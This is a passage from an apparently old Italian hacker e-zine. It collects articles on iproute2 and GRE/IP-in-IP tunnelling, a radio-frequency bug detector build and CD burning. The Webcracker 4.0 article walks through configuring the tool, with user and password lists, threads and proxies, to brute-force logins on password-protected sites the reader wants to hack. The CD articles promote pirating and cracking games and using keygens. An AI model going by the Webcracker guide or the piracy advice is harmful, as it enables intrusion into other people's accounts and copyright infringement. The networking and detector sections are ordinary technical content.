qdisc pfifo_fast qlen 10 link/ppp Per prima cosa vediamo i settaggi dell'interfaccia di loopback. L'mtu (maximum transfer unit) settato a 3924 otteti, e non abilitato il codaggio. Il kernel finge la presenza di un altra interfaccia locale per poterla configurare. L'interfaccia dummy la salto per ora, perch potrebbe non essere presente nel vostro computer. Poi ci sono le mie due interfaccie di rete, una dal lato del mio modem, l'altra al segmento della rete ethernet. Per ultimo noi vediamo una interfaccia ppp0. Notare l'assenza degli indirizzi IP. Iproute divide il concetto di 'connessioni' e 'indirizzi IP'. Il concetto degli indirizzi IP, con l'IP aliasing, diventato un po' superfluo. -Il tool pu mostrare la situazione degli indirizzi MAC, con l'ID hardware delle nostre interfacce ethernet. [ahu@home ahu]$ ip address show 1: lo: mtu 3924 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 brd 127.255.255.255 scope host lo 2: dummy: mtu 1500 qdisc noop link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff 3: eth0: mtu 1400 qdisc pfifo_fast qlen 100 link/ether 48:54:e8:2a:47:16 brd ff:ff:ff:ff:ff:ff inet 10.0.0.1/8 brd 10.255.255.255 scope global eth0 4: eth1: mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:e0:4c:39:24:78 brd ff:ff:ff:ff:ff:ff 3764: ppp0: mtu 1492 qdisc pfifo_fast qlen 10 link/ppp inet 212.64.94.251 peer 212.64.94.1/32 scope global ppp0 Le informazioni visualizzate sono molte: il tool mostra tutti i nostri indirizzi e a quale scheda corrispondono; 'inet' sta per Internet. Ci sono molte altre famiglie di indirizzi, ma questo non ci interessa per ora. Esaminiamo eth0. Ip dice che in relazione all'indirizzo inet '10.0.0.1/8'. Che vuol dire? L''/8' sta per il numero di bit che sono nell'indirizzo di rete. Solitamente ci sono 32 bits, cos rimangono ancora 24 bits che sono parte della nostra rete. I primi 8 bits di '10.0.0.1' corrispondono a 10.0.0.0 (cio un indirizzo di classe A credo ;D. se non sapete un cavolo sulle maschere di rete & related cercate di impararvi qualcosa perch mi sa che questo tipo che ha scritto l'articolo in versione inglese non ha un buon rapporto con il sui idioma e col suo cervello, o forse sono io..;DD), il nostro indirizzo di rete e la nostra maschera di rete (netmask) che 225.0.0.0 . Gli altri bits sono connessi a questa interfaccia, cos 10.250.3.13 direttamente disponibile con eth0, com' 10.0.0.1 per esempio. Con ppp0, lo stesso concetto funziona, ma i numeri sono differenti (ebb ;DD). Se hai problemi guarda l'inizio di questo howto (non c' l'ho tolto perch era da idioti giuro). Il suo indirizzo 212.64.94.251 senza una maschera di rete, cio abbiamo una connessione punto a punto e tutti questi indirizzi, ad eccezione di 212.64.94.1, sono remoti. Il '/32' dice che non ci sono 'network bits'. Ha, potreste aver notato qdisc, che sta per Queuering Discipline (disciplina o meglio metodo di codaggio credo ;DD), e diventer vitale in seguito. [QUESTO ARGOMENTO, il queueing, lo tratter/tradurr/ripper ;D in seguito...] - Bene, noi ora sappiamo come trovare gli indirizzi 10.x.x.x, e possiamo contattare 212.64.94.1. Questo non comunque tutto, infatti abbiamo bisogno di istruzioni su come contattare il mondo. Internet disponibile attraverso la nostra connessione ppp, e sembra che questo 212.64.94.1 distribuir i nostri pacchetti per il mondo, con i risultati delle spedizioni di ritorno a noi. [elvis@memphis]$ ip route show 212.64.94.1 dev ppp0 proto kernel scope link src 212.64.94.251 10.0.0.0/8 dev eth0 proto kernel scope link src 10.0.0.1 127.0.0.0/8 dev lo scope link default via 212.64.94.1 dev ppp0 Questo comando mostra brevemente lo stato delle connessioni. Le prime 3 linee di output mostrano lo stato di quello che era implementato con un indirizzo ip, l'ultima linea ci dice che il resto del mondo pu essere trovato a 212.64.94.1. Per fare un confronto, questo quello che avrebbe mostrato la vecchia utility 'route': [elvis@memphis]$ route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 212.64.94.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0 10.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 eth0 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 0.0.0.0 212.64.94.1 0.0.0.0 UG 0 0 0 ppp0 4 - Tunnels 4.1 - GRE e gli altri tunnels Ci sono tre tipologie di tunnels disponibili sotto Linux: tunnellizzazioni IP a IP; Tunnelling GRE; Tunnels esterni al kernel (per esempio PPP o PPTP). 4.2 - Qualcosa in generale sui tunnels I tunnels possono essere utilizzati sia per cose inusuali che per cose 'very cool', ma, se non configurati correttamente, sono fonte sicura di guai ed errori. Per cui NON puntare il tuo route di default a una periferica tunnel senza sapere -esattamente- cosa tu stia facendo :). Inoltre, le tunnellizzazioni aumentano la grandezza degli headers, perch hanno bisogno di opzioni extra nel set di un IP header. Tipicamente queste opzioni extra sono 20 byte per pacchetto cos, se l'MTU (vedi un po' pi indietro) di una rete 1500 bytes, un pacchetto mandato attraverso un tunnel pu essere grande al massimo 1480 bytes. Questo non necessariamente un problema, ma accertati di conoscere la frammentazione/riassemblamento dei pacchetti IP se progetti di connettere grandi reti con i tunnels. La via pi veloce per fare un tunnel farlo da tutte due le parti (continuo a sostenere la mia tesi;))). 4.3 - Tunnellizzazioni IP a IP Questo tipo di tunnel stato disponibile sotto Linux per molto tempo; richiede 2 moduli del kernel, ipip.o e new_tunnel.o (make menuconfig > selezionate IP tunneling > salvate la configurazione > make modules > make modules_install). Okkeio, diciamo di avere 3 reti: rete interna A e B e rete intermedia C (vedi: Internet) Vediamo la rete A: network 10.0.1.0 netmask 255.255.255.0 router 10.0.1.1 Il router ha indirizzo 172.16.17.18 sotto la rete C. E la rete B: network 10.0.2.0 netmask 255.255.255.0 router 10.0.2.1 Il router ha indirizzo 172.19.20.21 sotto la rete C. Quanto lontana sia implicata la rete C, la useremo per passare qualsiasi pacchetto da A a B e vice versa. Per questo compito possibile sfruttare Internet. Ecco quello che c' da fare: Per prima cosa controllare se i moduli sopra citati sono installati con i seguenti comandi: insmod ipip.o; insmod new_tunnel.o Ora, sul router sulla rete A, fai quanto segue: ifconfig tun10 10.0.1.1 pointoponit 172.19.20.21 route add -net 10.0.2.0 netmask 255.255.255.0 dev tun10 E nel router sulla rete B: ifconfig tun10 10.0.2.1 pointoponit 172.16.17.18 route add -net 10.0.1.0 netmask 255.255.255.0 dev tun10 E infine: ifconfig tun10 down Ora la tua rete pronta. Ricorda che tramite un tunnel IP a IP non puoi gestire un indirizzo di broadcast o gestire traffico IPv6; puoi connettere 2 reti IPv4 che normalmente non possono comunicare con tutti gli altri host. Il tunneling Linux IP a IP non pu lavorare con altri sistemi operativi o routers. semplice e funziona. Usalo se ti serve (sostengo ancora di pi la medesima tesi), altrimenti usa tunnellizazioni GRE. 4.4 - Tunnellizazioni GRE Il protocollo di tunnellizzazione GRE fu originariamente sviluppato da Cisco, e puo' fare molto meglio delle tunnellizzazioni IP a IP. Per esempio, puoi trasportare sia traffico multicast e IPv6 attraverso un tunnel GRE. In Linux, per implementare le funzioni necessarie ai tunnels GRE, necessario il modulo del kernel ip_gre. - Tunnellizazioni Ipv4 Proviamo a metter su un tunnel IPv4. Diciamo di avere le solite 3 reti: Vediamo la rete A: network 10.0.1.0 netmask 255.255.255.0 router 10.0.1.1 Il router ha indirizzo 172.16.17.18 sotto la rete C. Chiameremo questa rete neta. E la rete B: network 10.0.2.0 netmask 255.255.255.0 router 10.0.2.1 Il router ha indirizzo 172.19.20.21 sotto la rete C. Questa invece, molto originalmente, netb. Quindi diciamo, come per il tunnel IP to IP, di usare C per passare i pacchetti tra A e B, e che questa rete pu essere internet. Sul router della rete A facciamo cos: ip tunnel add netb mode gre remote 172.19.20.21 local 172.16.17.18 ttl 255 ip addr add 10.0.1.1 dev netb ip route add 10.0.2.0/24 dev netb Ora discutiamo un po' su quello che abbiamo scritto. Nella linea 1 abbiamo aggiunto una periferica di tunnel, e l'abbiamo chiamata netb. Poi, sempre sulla riga 1, gli abbiamo detto di usare il protocollo GRE ('mode gre'), che l'indirizzo remoto da raggiungere 172.19.20.21 (il router e tutto il resto), che i nostri pacchetti tunnellizzati saranno originati da 172.16.17.18 (questo abilita il tuo router ad avere diversi indirizzi IP sulla rete C e a lasciarti decidere quale usare per il tunnel) e infine la vita dei pacchetti settata a 255 hop (ttl 255). Nella seconda linea diamo alla appena nata interfaccia l'indirizzo 10.0.1.1. Questo pu andare per piccole reti, ma quando i tunnels aumenteranno, tu potresti considerare di usare un altro range di IP per le interfaccie di tunnelind (per esempio puoi usare 10.0.3.0). Nella terza ed ultima linea settiamo il percorso (route) per la rete B. Notare la notazione differente della maschera di rete. Se non avete familiarit con questa notazione, ecco come lavora: scrivete la maschera di rete in forma binaria, e contate tutti gli uno. Se non sapete come farlo, ricordate che 255.0.0.0 /8, 255.255.0.0 /16, 255.255.255.0 /24 e 255.255.254.0 /23, in caso voi siate meravigliati. Andiamo ora a smanettare sul router della rete B. ip tunnel add neta mode gre remote 172.16.17.18 local 172.19.20.21 ttl 255 ip addr add 10.0.2.1 dev neta ip route add 10.0.1.0/24 dev neta Ecco fatta una tunnellizazione mediante protocollo GRE. Quando volete rimuovere il tunnel dal router della rete A: ip link set netb down ip tunnel del netb Per logica, sul router della rete B, sostituite a netb neta. Fine. [-ElViS-] Per errori, richieste, domande, commenti, congratulazioni, insulti, regali e venerazioni varie;DD potete mandare una mail a srg@shy.datawell.it. Ho anche un sito...magari lo trovate interessante;DDD http://utenti.shy.datawell.it/security/ Tanto lo so che saranno pi insulti che altro...Ha, potete anche mandare richieste per argomenti + o - inerenti a iproute2 da inserire nelle prossime puntate;D Potete anche trovarmi su IRC canale #hnews e/o #ahccc di AzzurraNET - chat.jodler.net Saluto tutti e tutto senza distinzione di sesso, et, razza, religione e Sistema Operativo (forse);DDD /*Questo coso qua, seppur non troppo bellino, dedicato al fratello N0bodY88... Fratello, ovunque tu sia e dovunque tu vada ti prometto che ogni sera della mia futura esistenza dar la buonanotte al tuo BNC ;DDDD*/ La pace l'unica vittoria, [-ElViS-] ۰۰۰۰۰۰۰۰۰۰ ۰۰۲۰۲۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ Webcracker 4.0 ٺ ͼ ORA DI INIZIO: 23.35 ORA DI FINE: 2.10 Consumo: 3 banane, 1 pesca e 1 brioches. Musica ascoltata: 883 dallo stereo del mio vicino. NOTE Io, cio l'autore di questo testo non sono responsabile di ci che farete dopo avere letto questo articolo. Questo programma bla bla Webcracker 4.0 Innanzitutto prima di tentare di fare cavolate con questo programma meglio sapere alcune cose.Questo programma serve per scoprire le password dei siti protetti. Il vantaggio principale di questo programma la velocit. L'uso di questo programma molto semplice quando si hanno un minimo di conoscenze sul tema che si tratta in in una e-zine come questa. Il programma si presenta sulla schermata chiamata FILE E LOCATION. In questa schermata si impostano i dati dell'attacco secondo questo schema: USERNAME FILE: in questo campo dobbiamo indicare qual' il file contenente la lista delle user che vorremo usare. USE PASSWORD FILE: inseriamo qui la locazione dl file contenete le password. USE COMBO FILE: selezioniamo questa opzione se vogliamo che il programma usi le password che sono contenute in un file insieme alle user. URL:inseriamo l'indirizzo del sito che ci interessa. Le altre opzioni possiamo lasciarle come ci vengono impostate dal programma. Passiamo ora alla prossima schermata OPTIONS: USERNAME TRASLATION: selezioniamo lowercase se vogliamo che il programma usi tutte le user in minuscolo, se invece selezioniamo uppercase non avremo nessun effetto. Se abbiamo la lista in minuscolo avremo l'effetto contrario. PASSWORD TRASLATION:valgono le stesse regole che si sono usate per username traslation. TRY USERID AS A PASSWORD:selezioniamo questa opzione se vogliamo che il programma dopo aver tentato di usare i file contenenti le user e le password provi ad invertire i compiti dei due file. MINIMUM PASSWORD LENGTH:questa opzione ci utile quando nel sito che ci interessa specificato un numero minimo della lunghezza della password: infatti selezionandola il programma scarter automaticamente le password che non hanno un numero minimo di caratteri. PLAY SOUND:questa opzione, ci permette di attivare o disattivare il suono. Saltiamo la scermata advanced per passare all'ultima LOGGIN: PROXY: credo che sia inutile spiegare a cosa serve il proxy.no? Se non lo sapete vi posso consigliare di leggervi qualche guida e capirete che meglio farne uso. NUMBER OF THREADS: impostiamo qui il numero di password che vogliamo tentare ogni volta, possiamo fare delle prove e scoprire se il sito che vogliamo hackare permette di usare pi di una password. LOG UNSUCCESSFUL RESULTS:qui vengono loggati tutti i vostri attacchi. FILTRES:permette di non scaricare quelle stringhe che ostacolerebbero l'attacco. Ora che avete impostato tutto potete fare due cose: 1.Andarvene a dormire perch sono gi le 3 di notte e domani vi dovete alzare presto. 2.Cliccare su start per fare partire il processo, stop per metterlo in pausa. THE DISO EEEE EE EEEE EEEEEEEEEEEE EEEEEE EEEEEE EE EE EE EEEEE EEE E EE E EE EE EE EE EE EE EEE EE EE EE EEEEE EEEE EE EEEE EE EE EEEEE EE EE EEEE EE EE EE EEE EEE E EE E EE EE EE EE EE EE EE EEEE EE EE EEEEEEEEE EEEE EEEEE EEEE EE EE EE EE EEEEEE EE EEE EE EEEEE EEE EEE !!!!!!RIVELATORE DI MICROSPIE!!!!!! Autore: [TeLeKOZ] Consumo: Un cazzo (hue non franteindete :)) Questo articolo non ha nulla che a vedere col phreaking l'hacking ecc.. mah pu sempre essere utile nella vita quotidiana. Tutto questo l'ho scritto solo a scopo informativo. FBI dal 1900 e qualcosa invadiamo la vostra privacy! Se pensate che qualunque cosa che fate sia vista o sentita da qualcuno e che ogni volta che vi fate na sana scopata ci sia qualcuno che si stia sentendo la vostra esibizione Beh questo proprio quello che fa per voi. Cosa i vostri genitori hanno appena comprato l'ultimissimo sirio 2000 super accessoriato e con tutte le solite cazzate della telekoz scoprirete presto che in realt dentro il tel c' una microspia che ascolta tutte le vostre chiamate :) He He He scherzi a parte ma cmq non si sa mai. Se gestite un traffico di droga e avete paura che la polizia possa aver nascosto qualche cimice nella vostra abitazione per mettervelo nel culo! questo quello di cui avete bisogno. Allora iniziamo dagli inizi. Fin da quando sono apparsi sullo schermo cinematografico i primi detectives dell'era elettronica, equippagiati di tutto punto con cimici e diavolerie incredibilmente dense di microchips e displays, anche il mercato dell'elettronica ha comiciato ad arrichirsi di molti esemplari tipici che non devono mancare ad alcun detective. Senza voler entrare nel merito credo comunque che la sagra di 007 abbia contribuito notevolmente al diffondersi di un tale filone che vede l'era tecnologica proiettata nella fiction cinematografica pi o meno credibile od esasperata. Un esemplare del perfetto James Bond senza dubbio la microspia: piccolissima, affidabile, rivelatrice di mille segreti scottanti. Cinematografia a parte le microspie esistono anche nella realt!!! e non sono per nulla difficili e costose da costruirsi. Ed anche nella realt, cos come nei film, sono solo un giocattolo per divertirsi ad ascoltare innoquamente quello che non possiamo udire con le nostre orecchie. Infatti le microspie sono usate sempre pi spesso, pi che per divertimento, per trarre in qualche modo vantaggio anche economico. Avete mai sentito parlare di spinaggio industriale, di progetti segreti "rubati" agli inventori prima che il prodotto fosse brevettato? NNNOOOOOOOOO ma dove vivete??????? Ma forse c' qualcosa di ancora pi subdolo e scottante: l'intrusione di una microspia nella propria vita privata. Non certo piacevole che qualcuno venga a sapere i vostri segreti o che, peggio ancora, li registri a distanza. Telefonate, colloqui personali, appuntamenti, scopate, incontri sadomaso..... la microspia un accanito quanto indiscreto "ascoltatore" che carpir i vostri pi intimi segreti. Mogli e mariti indispettiti, gelosi, timorosi di essere traditi, impiccioni, investigatori privati o pseudo tali.... che fare allora contro l'insidia delle microspie situate nell'ambiente di lavoro, in casa, in auto, nel vostro organismo he he he :)? Semplice! Bisogna rimuoverle, annientarle e poi usarle per i vostri loschi scopi mi sembra evidente no? :) e vi chiederete voi ma come cazzo faccio a scovare ste cazzo di microspie che possono essere grandi quanto un bottone o una scatola di fiammiferi? Beh ve lo dico io no. Sarebbe come cercare un ago in un pagliaio se non sapessimo che... la microspia altro non che un trasmettitore di radiofrequenze. Per cui con un normale misuratore di campo si pu individuare una sorgente, come ad esempio la microspia, mediante la misurazione della potenza RF emessa dalla stessa. RDM RIVELATORE DI MICROSPIE Un sensibilissimo strumento in grado di scovare microspie anche di bassissima potenza sistemate in qualunque posto. Una barra LED vi guider nell'avvicinamento fino alla scoperta della sorgente di radiofrequenza. Ideale per chi sospetta di avere in casa o in uffcio cimic di vario genere. l'RDM dipsone di regolazione per il controllo della sensibilit. il campo di utilizzo compreso tra 450KHz e 450Mhz. Alimentazione tramite batt. 9V. Il principio del funzionamento dell'RDM estremamente intuitivo: esso basato sulle caratteristiche intrinseche di due diodi al germanio, che hanno la capacit di rivelare la presenza di radiofrequenze. Innanzitutto bisogna precisare che il segnale RF emesso da una microspia di tipo alternato ad alta frequenza (HF) ed in genere compreso tra 1 e 250 MHz. Tale segnale, una volta captato dall'antenna del nostro misuratore di campo RDM, viene trattato dai due diodi al germanio accenati, che fungono da duplicatore di tensione e trasformato poi, da alternato che era, in segnale di tipo continuo. Questo affidato al successivo stadio costituito da due amplificatori operazionali, posti in "cascata", con guadagno 50 ciascuno. Ora il segnale compatibile con le specifiche di funzionamento del circuito integrato usato per la visualizzazione dell'intesit di campo, ma frapposto ad essi un potenziometro predisposto per l'esatta taratura, di volta in volta, di tale circuito. Prima di continuare vediamo l'elenco dei componenti necessari. ______________________________________________________ Elenco componenti RDM: R1 = 100 kohm R2 = R3 = 220 kohm R7 = 10 kohm potenziometro lineare R8 = 47 ohm R9 = 1 kohm C1 = C2 = 100nF multistrato C3 = 1 uF elettrolitico C4 = 100 uF elettrolitico D1 = D2 = diodo al germanio AA118 o equivalente DL1 = DL2 =DL3 = DL4 = DL5 = LED rosso diametro 5mm DL6 = LED verde diametro 5mm U1 = LM358 U2 = KA2284 SW1 = interruttore a slitta ______________________________________________________ OK adesso possiamo continuare. troverete gli schemi per il montaggio nelle immagini allegate. Il circuito integrato U2 essenzialmente un comparatore di livello soglia, a 5 stadi, con stabilizatore di tensione interno, comunemente chiamato VU-Meter. Il suo compito quello di fornire tensione, progressivamente e proporzionalemte all'intesit dic ampo misurata, ad una serie di 5 LED (significativamente di colore rosso). Il dispositivo RDM inoltre dotato di un interrutore a slitta per l'accensione / spegnimento, inoltre o stato On-OFF reso immediatamente visibile dalla presenza di un LED (di colore verde). Il nostro rivelatore RDM in grado di apprezzare un range di frequenze molto ampio che va da 450KHz a 450MHz, con un intervallo di massima sensbilit fra 70 e 300MHz. Questo vasto range ne permette l'utilizzo con tutti i normali trasmettitori. Piccole note: prestate attenzione al giusto verso dei diodi e dei LED occhio all'anodo e al catodo. Il circuito integrato U2 va saldato direttamente sul circuito stampato per cui non soffermatevi a lungo durante la saldatura. Per il montaggio del deviatore a slitta SW1, occorre saldare nelle rispettive piazzole 3 ancoranti e quindi saldare a questi ultimi il deviatore tenendolo appogiato sulla basetta. Mi raccomando montate l'antenna se no che cosa pretendete di trovare :). Terminato il montaggio attachiamo una normale pila a 9V per radioline allo snap di alimentazione. Il bassissimo assorbimento del sistema (circa 14 mA imputabile al solo funzionamento dei LED. COME USARE IL RDM Una volta montato tutto magari dopo averlo inscatolato in modo che diventi il vostro rivelatore di microspie tascabile per darvi un'idea di quello che sto dicendovi allego un'immagine esplicativa. Adesso non rimane che cercare qualche insidiosa microspia! :) Ma per provare l'efficenza del nostro caro rivelatore di microspie sufficiente utilizzare un normale trasmettitore (in questo caso tenere premuto il pulsante di trasmissione), anche di debole potenza, se non si in possesso di una vera e propria microspia. Nel caso in cui si volglia ricercare la presenza di microspie si dovr tenere conto di alcuni semplici accorgimenti: -Sincerarsi che le batterie siano in perfetta efficienza; -La taratura si effettua regolando il potenziometro in modo che sia debolmente acceso solo il primo LED (minima intensit); -la taratura dell'RDM deve avvenire preferibilmente in un punto dell'ambiente in cui sia meno probabile la presenza di microspie, dove cio si ha la minor intensit di campo, ad esempio al centro di una stanza; -Pu accadere che spostandovi all'interno di una stanza vengano visualizzati improvvisi incrementi di intensit, niente paura...., potrebbe essere semplicemente il campo prodotto da carichi elettrici ad alto assorbimento (quali i neon), avvicinate l'antenna alla possibile sorgente e controllate meglio di persona. Nel caso vi siate imbattuti in una microspia, vedrete (man mano che avvicinate lo strumento) accendersi progressivamente la barra dei LED da DL1 a DL5. Le dimensioni dell'RDM montato corrispondono a quelle di una normale radiolina. Microspie?! Il RDM sicuramente un ottimo antidoto per trovarle e poi riusarle hi hihihi hi! Un saluto a tutti gli amici di #phreak.it by [TeLeKOZ] Un saluto particolare ad hola^ ed a _MCL_ Ragazzi auguri per la maturit! Un FUCK a tutti i lamer! Ed un immenso FUCK alla telecom che nella sua pubblicit e nel suo sito internet del cazzo dice come vorresti che fosse il tuo futuro? Beh sicuramente senza di te telecom di merda :) Alla prossima ragazzi byez. Per qualunque commentoi insulti, proposte indecenti, ricatti o altro la mia mail : phonez@freemail.it [TeLeKOZ] ͻ Ŀ Masterizzare che passione! ٺ ͼ Qualche tempo fa sul n.2 di questa e-zine ho letto un articolo che aveva pi o meno lo stesso titolo... Naturalmente avete capito tutti di cosa sto parlando.... quindi niente chiacchiere e passiamo al dunque... Allora, ormai passato tanto tempo e le cose sono un po' cambiate... Inizierei col parlare dei masterizzatori in commercio mentre sto scrivendo questo articolo... Bene, ci sono masterizzatori di due tipi: SCSI ed EIDE. I primi, sicuramente pi sicuri ma un po' pi costosi, per funzionare hanno bisogno di un controller, di cui bisogna quindi tener conto in termini monetari (:P) nel momento in cui decidiate di acquistare un cd-writer. Gli EIDE invece vengono collegati direttamente sulla motherboard. Oggi i masterizzatori pi veloci scrivono sui normali CdR (cd recordable) a 12x, quindi IN TEORIA potreste masterizzare qualsiasi Cd in un tempo pari ad 1/12 di quanto dura il sorgente! Masterizzare un cd non una cosa semplicissima, in particolare per quelli di software e per i multisessione. Questo perch nella fase di masterizzazione la copia non aviene "bit per bit" ma in ogni caso il software utilizzato per la masterizzazione in qualche modo "interpreta" i dati che poi andr a scrivere. Quindi se vi occorre un masterizzatore in grado di copiare tutto - ma proprio tutto - sceglietene uno supportato dai pi potenti software per masterizzazione in commercio. Uno di questi programmini veramente "malefico" (eheheh) il CloneCd, per ora l'unico programma in grado di copiare CORRETTAMENTE cd multisessione! Il CloneCd supperta pero' solo Plextor e Atapi. Riportandomi a quello che dicevo prima se avete bisogno di copiare tutto sicuramente la scelta migliore un PLEXTOR. Vediamo un po' perch masterizzare non una cosa semplicissima. Allora. La copia del cd puo' avvenire in 2 modi: "On the Fly" (A volo) oppure con file immagine. Nel primo caso il pc provvede a leggere i dati da un cd copiarli in un buffer di memoria (la cui grandezza dipende dal masterizzatore) per poi leggerli dallo stesso buffer e masterizzarli, il secondo modo descritto in seguito. Una scrittura senza buffer sarebbe impossibile perch il risultato di un minimo di rallentamento nella lettura del cd sorgente sarebbe una copia illeggibile. Questo perch tutti i masterizzatori (tranne uno :P) non possono interrompere la scrittura! In questo caso il cd si "Brucia" e risulta da buttare!!! Bisogna evitare quindi in qualunque caso che il buffer di lettura si svuoti perch il masterizzatore non trovando dati da scrivere sar costretto a dare un messaggio di errore! Dicevo... l'unico masterizzatore che puo' interrompere la scrittura e riprenderla dallo stesso punto il PLEXTOR 12x10x24 (costa circa 700.000 lire) grazie alla fantastica opzione "Burn Proof"; attenzione pero' perch un masterizzatore EIDE! La velocit con cui i dati escono dal buffer naturalmente pari a quella di scrittura del masterizzatore, quindi la scrittura pi lenta sempre quella pi sicura... Ma poich il tempo denaro e ci sono tante altre cose che aspettano... vediamo alcuni accorgimenti per evitare di bruciare cd anche masterizzando ad alta velocit. Questo pi facile con masterizzatori SCSI perch oltre al buffer utilizzato dal software (una zona riservata del disco fisso) aggiunge quello presente sul controller. Quindi anche importante la scelta del controller. Un ADAPTEC 2904 con i suoi 1.3 Mb di buffer puo' andare bene e costa sulle 90.000 lire. Il top sicuramente l'ADAPTEC 2940 con 4Mb di buffer e 35 periferiche collegabili in cascata! Il sitema pi sicuro quello che trasferisce tutti i dati nel controller scsi prima di masterizzarli liberando anche la CPU da molto lavoro! Se state per acquistare un pc perch volete diventare contrabbandieri di cd acquistatene uno con lettore cd, masterizzatore e possibilmente anche hard disk scsi. Se invece vi limitate ad un uso medio (diciamo 10 copie al giorno :PPP) potete rinunciare all'hd scsi. Se copiate al max 1 cd al giorno basta qualsiasi masterizzatore perch tanto risparmiate anche 300000 e chevvenefrega se vi brucia un cd al mese? Quindi concludendo la parte hardware: se volete il top scegliete PLEXTOR se non avete grossissime esigenze sono ottimi anche YAMAHA e WAITEC (scsi), se dovete usare il cdwriter solo per backup o roba del genere un qualsiasi EIDE va bene! Per il controller sceglietene uno dei due sopra citati a seconda delle esigenze (tenete presente che il 2940 costa intorno alle 500000 lire). Fate un pensiero anche ad un masterizzatore riscrivibile perch lo avete con poche migliaia di lire in pi ed a volte puo' essere molto utile scrivere cd che poi dovete cancellare (ottimo per backup o trasferimento di dati). La copia con file immagine invece consiste nel copiare tutto il cd sorgente in un unico file su Hd e poi masterizzarlo. Ora due parole sui software per masterizzare. Nero Burning Rom: Giunto alla release 5.0.2.9 sicuramente uno dei migliori programmi in quanto semplice da usare e permette di copiare quasi tutto. Ottimo per i cd playstation e dreamcast. Con un po' di esperienza si possono riuscire a bypassare molti tipi di protezione. L'ultima release copia anche cd multisessione ma gli enhanced cd (audio+dati) non vengono perfettamente! Si sente un tic al cambio delle tracce e la traccia dati non visibile! (almeno per tutte le prove che ho fatto fino ad ora). CdRWin : E' l'unico prg che fa l'immagine su HD in binario! I crack dei giochi playstation che si scaricano dalla rete sono eseguibili che vanno a modificare l'immagine binaria. Quindi se dovete copiare cd playstation dall'originale e crackarli non potete fare a meno di questo programma CloneCD: MITICOOOOOOO. Copia veramente tutto! Senza opzioni, il pi facile e pi potente in assoluto! Peccato che funzioni solo con pochi masterizzatori! Se non avete un PLEXTOR o un Atapi provate qlc altro programma :\ Prassi: Ottimo anche questo ma un po' debole nello scrivere cd in overburn (modalit grazie a cui facciamo entrare fino a 77 minuti su un cd da 74). WinOnCd: Il primo programma ad avere il controllo del buffer sul monitor. Va abbastanza bene ma non copia nessun cd che non potete copiare col nero. Easy Cd Creator: Programma abbastanza buono per le copie pi comuni... anche questo niente pi del nero. Disk Dupe: Potentissimo funziona solo con Plextor. Ci sono molti altri programmini che fanno pi o meno bene, ma io mi trovo benissimo con il nero e non lo cambiero' mai :PPP La' dove il nero fallisce interviene il CloneCd! Beh, ora vi saluto , e mi raccomando usate queste info solo per fare copie di backup! CIAO e alla PROSSIMAAAAAAAAAA Korg __ ___ _ _______ ____ ____ / |\/ /| |_ ___| __ \ / _ |\ -------------/ |/ / | |_\ \__| _/\/ /\/ / |-------------- --------------/ /| / /| | \ \ | | \\/ /_/ / /------------- /__/ |__/ / |_| \__\|_|\_\|___ / / \__\/\__\/ \_\ \__\__\\_\____\/ THe DeMoN (c) CoMPuTeR'S HeaVeN SoCieTY ***************************************************************************** **************************** SoFTWaRe CoLLeCTioN *************************** ***************************************************************************** Presenta La MaXi GuiDa Su CoMe Farsi.... uNa FiG... (Cazzo questa non una sex_guide ho toppato) uN CD-RoM CoN CDRWin 3.7C Occorrente: 500.000 circa per comperarsi un fottuto masterizzatore IDE 3000 circa per un CD vuoto 1,5 l di Coca ( - Cola, ovvio ) dai 40 ai 80 min. della tua vita .... Un BEL pacchetto di MARLBORO LIGHT .... uno ?! Bene, cominciamo... Innazitutto procuratevi CDRWin all'indirizzo http://www.goldenhawk.com e poi se avete cazzi anche il key generator per registrarlo o comperatevelo o crackatevelo o fateci quel cazzo che volete basta che poi funzioni. Ora lanciatelo, altrimenti nei cd vergini vi ci potete solo specchiare... Adesso si parte seriamente: Dipende tutto da che cosa volete fare con il programma... 1 Nozioni base sulla masterizzione 2 Creare e registrare un Iso 9660 3 Copiare un fottutissimo vieogioco della Play ( o qualsiasi altro CD-ROM ) 4 Copiare un cd audio 5 Creare un cd audio 6 Aggiungere una sessione ad un CD (1) NOZIONI BASE SULLA MASTERIZZAZIONE Innazitutto deovete sapere come settare al meglio il vostro masterizzatore: -Impostare il masteriz come slave e il vostro cd-rom come master (questo non vale per i masteriz SCSI che vengono messi in catena con ID da 1 a 7 ). -Disabilitare l'opzione DMA sia del masteriz che del CD-ROM (NB. per i DVD invece bene che questa sia abilitata). -Masterizzare preferibilmente a 2X con quelli IDE sia perch il risultato del vostro tempo perso pu non essere letto da tutti i CD-ROM, in particolar modo su quelli pi vecchi, sia perch con questa archittetura pi aumentate la velocit pi aumentate il rischio di fottervi un CD. Ovviamente questo non vale per i masteriz SCSI che utilizzano tutta un' altra archittettura di trasferimento dati... -Un' altra opzione dei programmi di masterizzazione che ritengo importante, sia che si possieda uno masteriz SCSI che IDE, il fatto di poter creare un' immagine su HD dei CD da copiare.... pi sicuro farlo sepmre anche se perderete sicuramente 10 ~ 20 min. del vostro tempo perso davati alla TV :-) proterete cos verificare la lettura eseguita prima di scrivere .... -Disabilitate lo screensaver e tutti gli alti programmi residenti come gli antivirus e non usate nulla mentre il masteriz st scrivendo potrebbe andare a fanculo il vostro costosissimo CD ( 3000 ) :-) -<=************=>- VEDIAMO ORA COME FUNZIONA STO BASTARDO DI CDRWin .... -<=************=>- (2) CREARE E RGISTRARE UN ISO 9660 Innazitutto bisoga dire che l' ISO9660 un particolare CD in formato standard ossia ha una FAT riconoscita dalla pressoch totatlit dei CD-ROM. Diciamo che con questo formato si possono aggiungere pezzi al CD successivamente alla prima scrittura sempre che non si sia chiuso il CD: questa tecnica detta multissessione... OK lo so che questo un tutorial per nofiti ma, cazzo, un po' di teoria non gli f sicuramente male poi non ho dato neanche una definizione in modo serio.... Ho bisogno di una sigaretta... Ho finalmente posso riprendere seriamente... SCUSATE PICCOLO SFOGO .... Per creare un CD in formato ISO dovete cliccare sul 